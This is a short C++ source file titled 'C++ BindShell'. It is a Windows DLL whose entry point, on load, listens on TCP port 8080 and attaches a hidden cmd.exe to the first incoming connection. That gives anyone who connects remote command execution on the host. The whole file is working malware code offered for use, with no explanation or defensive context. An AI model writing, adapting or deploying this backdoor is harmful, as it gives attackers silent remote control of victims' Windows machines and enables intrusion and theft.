C++ BindShell
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <iostream>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
//Class Declaration
void ServerStart();
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
ServerStart();
}
break;
}
return true;
}
void ServerStart()
{
WSADATA wsa;
SOCKET s= NULL;
SOCKADDR_IN sAddr;
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = htons(8080);
sAddr.sin_family = AF_INET;
WSAStartup( 0x0202, &wsa );
s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind(s,(LPSOCKADDR)&sAddr, sizeof( sAddr ));
listen(s,5);
s = accept(s, NULL, NULL );//Accept Client
si.lpTitle = "Hai";
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;
CreateProcess("C://Windows//System32//cmd.exe",NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);//Start the remote process
WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );
WSACleanup();
}